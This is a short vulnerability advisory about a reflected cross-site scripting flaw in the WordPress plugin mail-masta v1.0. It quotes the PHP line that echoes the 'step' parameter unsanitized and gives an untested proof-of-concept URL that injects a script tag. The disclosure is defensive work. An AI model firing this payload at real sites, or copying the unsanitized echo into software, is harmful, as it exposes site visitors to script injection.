Advisory #: 7
Title: Reflected XSS in wordpress plugin mail-masta v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/mail-masta
Downloads: 1507
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: mail-masta
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./mail-masta/inc/lists/create-list.php: 255: <input type="hidden" value="<?php echo $_GET['step'] ?>" name='stepp'> The variable step appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./mail-masta/inc/lists/create-list.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/mail-masta/inc/lists/create-list.php?step="><script>alert(1);</script><"